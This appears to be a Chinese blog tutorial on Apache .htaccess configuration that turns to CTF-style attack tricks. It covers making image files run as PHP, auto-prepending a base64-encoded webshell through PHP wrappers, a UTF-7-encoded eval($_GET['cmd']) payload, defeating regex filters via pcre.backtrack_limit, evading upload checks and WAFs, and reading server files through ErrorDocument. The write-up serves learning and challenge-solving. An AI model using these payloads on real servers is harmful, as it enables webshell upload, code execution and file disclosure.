htaccess文件详解
前言
感觉以前学的确实是不够精,原来htaccess文件不止是可以将其他文件以php的方式解析
简介
htaccess提供了针对目录改变配置的方法
可实现功能
文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能
指令作用范围
.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
一些代码整合
让某些文件以php的方式解析
AddType application/x-httpd-php .png |
<FilesMatch "1"> |
在所有页面包含(require)某个文件
auto_prepend_file与auto_append_file使用方法
php.ini中有两项
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。
思路拓展:
我们看一下这个原理,他是文件包含的思想在某个页面加载文件,当我们想到文件包含的时候自然而然地就会想到php伪协议,这就是这个功能的厉害所在
如果有一道题目,他过滤了php的所有标签,但是允许你上传htaccess,这个时候的思路就是,将含有马的文件base64加密上传,然后再htaccess添加配置:php伪协议解码打开
当然显示的页面本身的代码也要是php语言
代码
php_value auto_prepend_file xxx.php |
使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议
php_value include_path "xxx" |
如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件
用途:文件包含,可以配合AddType
利用报错信息写文件
php_value error_reporting 32767 |
开启报错的同时将报错信息写入文件
用途:利用报错写shell
UTF-7编码绕过尖括号<过滤
php_value zend.multibyte 1 # 启用多字节编码的源文件解析 |
将代码的解析方式改成UTF-7
mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7"); |
payload样例:
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs |
prce绕过正则匹配
php_value pcre.backtrack_limit 0 |
if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false
tricks
.htaccess似乎可以像shell那样使用\
将两行内容解释为一行
- 绕过脏字符
如果.htaccess文件中有不符合语法的内容,访问服务器会直接报500,如果题目中乱写.htaccess文件,我们可以尝试换行注释掉脏字符
例如:题目中有file_put_contents($filename, $content . "\nJust one chance")
,我们payload最后可以加上#\
,#
负责注释,\
将注释符和脏字符连成一行,注释掉脏字符,最后的文件为
php_value include_path "/tmp" |
- 绕过WAF
如果题目过滤了’file’,可以这么写.htaccess
php_value auto_prepend_fi\ |
(2)绕过exif_imagetype()上传.htaccess
#define width 20 |
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:#define test_width 16
#define test_height 7
参考:https://www.cnblogs.com/20175211lyz/p/11741348.html
ErrorDocument
利用这个文档可以读文件
https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-core.html#errordocument
ErrorDocument 500 http://example.com/cgi-bin/server-error.cgi |
意思是,当出现以上错误时,就会返回后面的内容,那就意味着可以直接读了
ErrorDocument 404 %{file:/etc/apache2/apache2.conf} |
https://www.cnblogs.com/ningmeng666/p/7644002.html
ErrorLog
ErrorLog 也能执行命令 customlog globallog forensiclog transferlog 都具有 pipe 形式
参考格式:https://www.docs4dev.com/docs/zh/apache/2.4/reference/logs.html#piped
htaccess文件详解